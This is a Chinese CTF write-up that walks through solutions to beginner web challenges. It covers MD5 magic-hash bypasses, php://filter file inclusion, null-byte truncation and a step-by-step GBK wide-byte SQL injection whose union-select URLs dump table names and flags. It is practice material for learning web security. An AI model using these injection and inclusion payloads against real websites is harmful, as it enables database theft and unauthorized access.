签到题
打开f12查看源代码得到flag
md5 collision
把变量md51,md5加密后得到 0e830400451993494058024219903391
当成科学计算法,0的无论多少次方都是0
代码中提到
变量md52等于md5加密后的a参数
但是变量a不能等于未md5加密的md51
所以让a等于一个md5加密后为0e开头的字符串,用科学计数法看两者都为0
s878926199a的md5加密后为
0e545993274517709034328855841020
所以
签到2
口令已经给出来了
一个个输入,发现最后一个n不能输进去,看来有输入长度限制
打开F12修改maxlength为11或更多
重新输入口令,开门得到flag
这题不是WEB
F12没有线索,说了这题不是web,题目很像杂项,从GIF找线索,另存图片GIF,用记事本打开得flag
层层递进
打开是一个平台F12查看源代码
发现S0.html页面,进入页面http://chinalover.sinaapp.com/web3/S0.html
又发现
在进入SO.htm
进入S0.htm
进入404.html
看到一堆js文件,却是注释,认真一看发现flag
AAencode
看到颜文字,是一种密码,颜文字js加密,扔到控制台跑
得到flag
php decode
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
这里eval函数得用法有问题,eval(string) string中含有要计算的 JavaScript 表达式或要执行的语句。
上面的string明显不是可计算式子或可执行代码
改为echo更合适
修改后在PHP中运行
<?php
function CLsI($ZzvSWE)
{
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
得到flag
单身二十年
经大佬blog启示
当按下key到这里找的时候,观察url,其实在跳到no_key_is_here_forever.php这个文件之前,跳到了另一个,只不过太快了,所以我们关掉js
如何关掉js在这里https://blog.csdn.net/fatong3/article/details/53690580
然后再点击一次key在这里,得到key
文件包含
点击超链接得到test123,F12查看源代码没有有用信息
所以猜测文件是一个包含可执行php代码得php文件,用base64解读此文件
关于php://filter了解
目标文件resource=index.php
所以
得到base64代码,解码后得
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
得到flag
Download~!
题目挂了
MYSQL
点开提示了robots.txt,进入这个页面
得到代码
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);//intval() 函数用于获取变量的整数值。
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
并提示了sql.php
所以向sql.php页面传入参数id
先传入id=1025,得到一串字母
h4cked_By_w00dPeck3r
加入nctf大小写和直接输入都不是正确的flag
所以换一个id
从id=1026就页面空白了,从1020一下的id也是空白,除id=1024是try again,其他都是相同一串字符
想起intval()函数的用法,猜想id是在1024里面的,id=1024.7等id里面
果然
得到flag
GBK Injection
GBK编码,联想到宽字节注入,点击这里了解宽字节注入。
为了吃掉自动转义,这里使用%df (ASCII大于128)加上自动转义出来的 \ 成为两个字符,认为是应该汉字,把 \ 吃掉
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'//报错
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' and 1=1%23//不报错
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' and 1='1'%23//报错
//由以上得到存在注入
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 2%23 //字段为2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()%23 //爆库名
sae-chinalover //得到库名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23 //原本是"sae-chinalover "但是引号会被转义,所以把sae-chinalover 转换为十六进制,前面加0x代替[这里](https://www.bejson.com/convert/ox2str/)字符串转十六进制
ctf,ctf2,ctf3,ctf4,gbksqli,news //是获得的表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634%23 //现在我爆的是ctf4这列,flag在里面
id ,flag //得到列
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from ctf4%23
得到flag!
/x00
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
strpos() 函数查找字符串在另一字符串中第一次出现的位置。(来自菜鸟教程)
没有定义start,默认从头开始寻找
即是传入参数要包含#biubiubiu ,但是与全部都是数字相矛盾
题目两个00提示了截断式漏洞,又url的#后面内容会被视为位置标识符,所以#用url编码%23
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=12345%00%23biubiubiu
得到flag
bypass again
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
就是参数a和b不能相等但是他们md5解密后要相等,同样使用科学计数法,0的不论多少次方都为0,找两个md5解密后开头为0e的字符串赋给参数ab
http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
以上其中一个例子
得到flag